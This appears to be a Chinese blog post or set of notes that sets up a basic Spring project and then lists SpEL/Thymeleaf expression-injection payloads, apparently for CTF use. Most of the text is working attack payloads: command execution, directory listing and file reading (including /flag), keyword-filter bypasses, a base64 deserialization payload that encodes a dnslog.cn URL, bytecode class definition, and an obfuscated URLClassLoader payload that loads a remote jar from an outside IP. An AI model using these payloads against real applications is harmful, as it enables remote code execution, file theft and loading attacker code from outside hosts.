首先搭建一个Spring环境。
文章可以看https://blog.csdn.net/cflys/article/details/70598903
一步步跟下去就行。
在src目录添加spring-config.xml
src目录下新建
Hello.java
public class Hello {
private String Name;
public void sayHello(){
System.out.println("Hello "+ Name);
}
public void setName(String name) {
System.out.println("SetName function start");
this.Name=name;
}
}
Main.java
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import java.io.IOException;
public class Main {
public static void main(String[] args) throws IOException {
ApplicationContext context = new ClassPathXmlApplicationContext("spring-config.xml");
//创建Spring的IOC容器
Hello hello = (Hello)context.getBean("Helloclass");
//调用spring-config.xml中ID为Helloclass对应的类
hello.sayHello();
//调用类的sayHello方法
}
}
spring-config.xml
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="Helloclass" class="Hello">
<property name="name" value="Spring"></property>
//Hello类中name属性。对应的值
</bean>
</beans>
成功执行。并且setName方法。在创建IOC容器的时候就执行了。对name属性赋值
下面介绍SPEL
简单来说。就是在value中。用特定的语法实现一些功能。和Python的模板差不多
#{}是SPEL的定界符。{}内。都算SPEL语法
${}用于加载外部属性的值。必须写在${}中。例如#{'${}'}
SPEL也支持
科学计数法
#{1e1111}
类属性
#{Person.name}
类方法
#{Person.HelloWorld()}
函数
#{'Guoke'.toLowerCase()}
异常处理
#{Person.HelloWorld()?.toUpperCase()}
// ?. 确保左边语句不出错。如果出错。就不会调用toUpperCase()
调用包
#{T(java.lang.Math).random()}
直接new对象
#{new java.util.Scanner(new java.io.File('/home/dc2-user/flag/flag.txt')).next()}
说了基本语法。。那就开始利用了。
弹个计算器
#{T(java.lang.Runtime).getRuntime().exec("calc")}
列目录
#{T(java.util.Arrays).toString(T(java.nio.file.Files).list(T(java.nio.file.Paths).get('c:\\')).toArray())}
读文件
#{new java.util.Scanner(new java.io.File("c:\\1.txt")).next()}
#{T(org.apache.commons.io.FileUtils).readFileToString(new java.io.File("c:\\1.txt"))}
#{NEW java.util.Scanner(NEW java.io.BufferedReader(NEW java.io.FileReader(NEW java.io.File('/flag')))).nextLine()}
#{New java.io.BufferedReader(New java.io.FileReader("/flag")).readLine()}
#{T(java.nio.file.Files).lines(T(java.nio.file.Paths).get('c:\\1.txt')).findFirst().toString()}
利用FileUtils这个包。不是自带的
当遇到过滤关键字的时候。可以利用大小写。%00等骚姿势绕过
在SPEL中。关键字不区分大小写。比如new/NEW
也可以通过反序列化。绕过关键字过滤。
#{T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAEHozM3Bzei5kbnNsb2cuY250AABxAH4ABXQABGh0dHBweHQAF2h0dHA6Ly96MzNwc3ouZG5zbG9nLmNueA=='))}
通spring内置的一个方法。 输入类名,字节码,classload就可以new一个类。当类中有static方法的时候。new类就会自动触发
T(org.springframework.cglib.core.ReflectUtils).defineClass('Singleton',T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66vgAAADIAtQ....'),T(org.springframework.util.ClassUtils).getDefaultClassLoader())
利用request传值。绕过黑名单
[[${#this.getClass().getClassLoader().loadClass(#request.getHeader(111)).getDeclaredMethod(#req
uest.getHeader(222),#this.getClass().getClassLoader().loadClass(#request.getHeader(333))).invoke(
#this.getClass().getClassLoader().loadClass(#request.getHeader(111)).getDeclaredMethod(#reques
t.getHeader(444)).invoke(null),#request.getParameter(1))}]]
#httpServletRequest.getParameter(1)
自带的
利用Urlclassload。来创建类。然后new
[[${New java.net.URLClassLoader(New java.net.URL[]{New java.net.URL((%23servletContext.getServerInfo()[0].replace(65,104)%2b%23servletContext.getServerInfo()[0].replace(65,116)%2b%23servletContext.getServerInfo()[0].replace(65,116)%2b%23servletContext.getServerInfo()[0].replace(65,112)%2b%23servletContext.getServerInfo()[0].replace(65,58)%2b%23servletContext.getServerInfo()[0].replace(65,47)%2b%23servletContext.getServerInfo()[0].replace(65,47)%2b%23servletContext.getServerInfo()[0].replace(65,49)%2b%23servletContext.getServerInfo()[0].replace(65,46)%2b%23servletContext.getServerInfo()[0].replace(65,49)%2b%23servletContext.getServerInfo()[0].replace(65,53)%2b%23servletContext.getServerInfo()[0].replace(65,46)%2b%23servletContext.getServerInfo()[0].replace(65,54)%2b%23servletContext.getServerInfo()[0].replace(65,55)%2b%23servletContext.getServerInfo()[0].replace(65,46)%2b%23servletContext.getServerInfo()[0].replace(65,49)%2b%23servletContext.getServerInfo()[0].replace(65,52)%2b%23servletContext.getServerInfo()[0].replace(65,50)%2b%23servletContext.getServerInfo()[0].replace(65,58)%2b%23servletContext.getServerInfo()[0].replace(65,49)%2b%23servletContext.getServerInfo()[0].replace(65,51)%2b%23servletContext.getServerInfo()[0].replace(65,51)%2b%23servletContext.getServerInfo()[0].replace(65,55)%2b%23servletContext.getServerInfo()[0].replace(65,47)%2b%23servletContext.getServerInfo()[0].replace(65,49)%2b%23servletContext.getServerInfo()[0].replace(65,46)%2b%23servletContext.getServerInfo()[0].replace(65,106)%2b%23servletContext.getServerInfo()[0].replace(65,97)%2b%23servletContext.getServerInfo()[0].replace(65,114)))}).loadClass(%23servletContext.getServerInfo()[0].replace(65,118)%2b%23servletContext.getServerInfo()[0].replace(65,117)%2b%23servletContext.getServerInfo()[0].replace(65,108)%2b%23servletContext.getServerInfo()[0].replace(65,110)).getDeclaredMethod((%23servletContext.getServerInfo()[0].replace(65,114)%2b%23servletContext.getServerInfo()[0].replace(65,99)%2b%23servletContext.getServerInfo()[0].replace(65,101))).invoke(null)}]]
其他bypass的。可以看
https://www.mi1k7ea.com/2020/01/10/SpEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/
先占个坑。
填坑:
根据replace传byte。可以获取字符串
#servletContext.getServerInfo()[0].replace(65,10+#servletContext.getServerInfo()[0].replace(65,104)
获取string class
#strings.arraySplit("a,a",",").getClass()
获取string[]
#strings.arraySplit("a,a",",")
获取各种类型
${#strings.arraySplit(namesStr,',')} // returns String[]
${#strings.listSplit(namesStr,',')} // returns List<String>
${#strings.setSplit(namesStr,',')} // returns Set<String>